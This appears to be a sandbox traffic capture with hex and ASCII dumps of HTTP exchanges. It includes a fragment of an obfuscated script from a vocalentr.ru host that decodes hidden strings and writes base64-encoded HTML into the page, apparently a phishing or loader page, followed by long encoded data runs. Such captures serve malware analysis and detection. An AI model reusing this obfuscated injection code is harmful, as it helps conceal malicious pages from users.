cfL4;desc="?proto=TCP&rtt=10290&min_rtt=10195&rtt_var=3891&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2820&recv_bytes=1613&delivery_rate=279352&cwnd=251&unsent_bytes=0&cid=12ba4e1fc7d21d4f&ts=288&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IlVFRU4yQXI3T2IyWWExVlVGajIrYkE9PSIsInZhbHVlIjoiUEhIbXFzMTcxOG5RNWtXNTFHNnVFZDFhMzJEUzFTTzFhRFJTcTRVZTdBaTdvU0FyTjUzSVVpdThBTnhFNC81a1p4dXBCN0lCOFIwNnJUbmJPNFo3WTM4dzBsaGp4dVluRlVhZVR5NmpQaDhoZ3ZpaDhBSkxGcHpIa0R3OU5tSXYiLCJtYWMiOiI3ODFhYmY4ZmNjYWQxY2NiNjhmOGI3MzZmMTk4NmUwOWUzMWQxZGY3YmY5MzY2MzdiZDFjOTEzNGI3ZTZmOGM2IiwidGFnIjoiIn0%3D; SameSite=None; Secure; Path=/; Max-Age=7200; Expires=Tue, 01 Apr 2025 07:39:28 GMT
2025-04-01 05:39:28 UTC	528	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 59 78 52 48 4d 34 4d 31 46 30 57 56 70 4f 62 6d 74 56 55 6a 42 51 54 6a 41 72 59 6c 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 56 54 5a 56 61 57 4d 72 62 30 5a 44 62 57 70 6b 55 32 46 47 64 57 35 35 61 31 42 6f 57 48 46 52 54 6d 6c 73 62 31 5a 34 55 6e 4d 30 51 6b 35 79 57 6a 46 6d 5a 53 38 78 64 6c 46 6a 55 45 46 4d 54 6d 56 77 59 55 35 71 4e 6c 42 4b 5a 58 42 46 62 32 67 72 51 6d 52 45 61 30 70 52 59 6e 4a 36 55 55 38 78 51 7a 4e 61 55 44 46 46 4e 58 46 76 4d 6e 64 6a 61 30 31 32 56 6b 56 4d 65 6c 70 56 55 6b 56 48 51 69 74 4c 61 58 70 4c 51 54 5a 4f 65 56 64 74 62 30 52 44 64 54 64 6e 5a 57 77 34 5a 7a 55 79 55 55 78 79 4e 54 51 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkYxRHM4M1F0WVpObmtVUjBQTjArYlE9PSIsInZhbHVlIjoiVTZVaWMrb0ZDbWpkU2FGdW55a1BoWHFRTmlsb1Z4UnM0Qk5yWjFmZS8xdlFjUEFMTmVwYU5qNlBKZXBFb2grQmREa0pRYnJ6UU8xQzNaUDFFNXFvMndja012VkVMelpVUkVHQitLaXpLQTZOeVdtb0RDdTdnZWw4ZzUyUUxyNTQ
2025-04-01 05:39:28 UTC	1369	IN	Data Raw: 35 30 30 30 0d 0a 3c 73 63 72 69 70 74 3e 0a 79 50 6d 4c 64 6f 66 6b 6a 63 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 39 55 65 6b 67 75 64 6d 39 6a 59 57 78 6c 62 6e 52 79 4c 6e 4a 31 4c 7a 4e 4b 54 7a 6b 7a 52 6d 30 76 22 29 3b 0a 62 77 77 55 71 6f 59 42 4d 55 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 75 74 58 47 41 6d 6f 75 47 4f 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 79 50 6d 4c 64 6f 66 6b 6a 63 20 3d 3d 20 62 77 77 55 71 6f 59 42 4d 55 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 75 74 58 47 41 6d 6f 75 47 4f 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 43 6a 78 6f Data Ascii: 5000<script>yPmLdofkjc = atob("aHR0cHM6Ly9Uekgudm9jYWxlbnRyLnJ1LzNKTzkzRm0v");bwwUqoYBMU = atob("bm9tYXRjaA==");utXGAmouGO = atob("d3JpdGU=");if(yPmLdofkjc == bwwUqoYBMU){document[utXGAmouGO](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+Cjxo
2025-04-01 05:39:28 UTC	1369	IN	Data Raw: 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f Data Ascii: OFpOOFpO++oOOFpOOFpO++oO++oO++oO++oOOFpO++oOOFpOOFpOOFpO++oOOFpO++oO++oO++oOOFpOOFpO++oOOFpOOFpOOFpOOFpO++oOOFpOOFpOOFpO++oO++oOOFpO++oO++oO++oOOFpO++oOOFpOOFpOOFpO++oO++oOOFpOOFpOOFpO++oOOFpOOFpOOFpO++oOOFpOOFpO++oO++oOOFpO++oOOFpO++oOOFpOOFpO++oO++oO++o
2025-04-01 05:39:28 UTC	1369	IN	Data Raw: 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f Data Ascii: FpOOFpOOFpO++oO++oOOFpOOFpO++oO++oOOFpO++oO++oO++oOOFpOOFpO++oOOFpOOFpOOFpOOFpO++oOOFpOOFpOOFpO++oOOFpOOFpOOFpO++oO++oOOFpO++oOOFpOOFpOOFpO++oO++oOOFpO++oOOFpOOFpOOFpOOFpOOFpO++oOOFpOOFpOOFpO++oO++oO++oO++oO++oOOFpOOFpO++oOOFpO++oO++oO++oO++oOOFpOOFpO++oO
2025-04-01 05:39:28 UTC	1369	IN	Data Raw: 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f Data Ascii: pO++oO++oOOFpO++oOOFpO++oOOFpOOFpOOFpO++oO++oOOFpOOFpO++oO++oOOFpO++oOOFpO++oO++oO++oO++oO++oOOFpO++oO++oO++oOOFpO++oO++oOOFpO++oO++oO++oO++oOOFpO++oO++oOOFpOOFpOOFpO++oOOFpO++oOOFpO++oOOFpOOFpOOFpO++oO++oOOFpO++oO++oOOFpOOFpOOFpO++oO++oO++oO++oO++oO++oOO
2025-04-01 05:39:28 UTC	1369	IN	Data Raw: 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b Data Ascii: OOFpOOFpO++oOOFpOOFpOOFpOOFpO++oOOFpOOFpOOFpO++oOOFpO++oOOFpO++oOOFpOOFpOOFpO++oOOFpO++oO++oO++oO++oOOFpOOFpOOFpO++oOOFpO++oO++oOOFpOOFpO++oO++oO++oOOFpO++oO++oOOFpOOFpO++oOOFpOOFpO++oO++oO++oOOFpOOFpO++oO++oO++oO++oOOFpO++oOOFpOOFpO++oOOFpOOFpOOFpO++oO++
2025-04-01 05:39:28 UTC	1369	IN	Data Raw: 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f Data Ascii: OFpO++oOOFpOOFpOOFpOOFpO++oO++oOOFpO++oOOFpOOFpO++oO++oOOFpO++oO++oO++oOOFpOOFpO++oOOFpOOFpOOFpOOFpO++oOOFpOOFpOOFpO++oOOFpOOFpOOFpO++oOOFpOOFpO++oOOFpOOFpOOFpO++oO++oO++oOOFpO++oO++oO++oOOFpO++oO++oO++oOOFpO++oOOFpOOFpO++oO++oO++oO++oOOFpO++oO++oO++oO++o
2025-04-01 05:39:28 UTC	1369	IN	Data Raw: 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f Data Ascii: FpOOFpOOFpO++oOOFpO++oOOFpOOFpO++oO++oOOFpO++oOOFpO++oO++oOOFpO++oO++oOOFpO++oOOFpO++oO++oOOFpOOFpOOFpOOFpO++oOOFpO++oOOFpO++oO++oO++oO++oO++oOOFpOOFpOOFpO++oO++oO++oOOFpO++oOOFpO++oO++oO++oO++oOOFpO++oO++oOOFpOOFpO++oOOFpOOFpOOFpO++oO++oO++oOOFpO++oOOFpO
2025-04-01 05:39:28 UTC	1369	IN	Data Raw: 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b Data Ascii: pOOFpOOFpO++oOOFpO++oO++oOOFpO++oO++oO++oO++oO++oO++oOOFpO++oOOFpOOFpO++oOOFpOOFpO++oO++oO++oO++oOOFpO++oOOFpO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oO++oOOFpO+
2025-04-01 05:39:28 UTC	1369	IN	Data Raw: 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 4f 46 70 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 70 4f 2b 2b 6f 4f 2b 2b 6f 4f 4f 46 Data Ascii: OOFpO++oO++oO++oO++oO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oO++oOOFpO++oO++oO++oO++oO++oO++oOOFpOOFpOOFpOOFpO++oOOFpOOFpO++oO++oOOFpO++oO++oO++oO++oO++oO++oOOFpOOFpO++oO++oO++oOOFpOOFpO++oOOFpOOFpOOFpO++oOOFpO++oO++oO++oOOFpOOFpOOFpO++oO++oOOFpO++oO++oOOF

Timestamp	Bytes transferred	Direction	Data
2025-04-01 05:39:29 UTC	664	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://86zv.vocalentr.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-04-01 05:39:29 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Tue, 01 Apr 2025 05:39:29 GMT Age: 2154951 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740057-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 1 X-Timer: S1743485969.158217,VS0,VE1 Vary: Accept-Encoding
2025-04-01 05:39:29 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-04-01 05:39:29 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2025-04-01 05:39:29 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2025-04-01 05:39:29 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2025-04-01 05:39:29 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
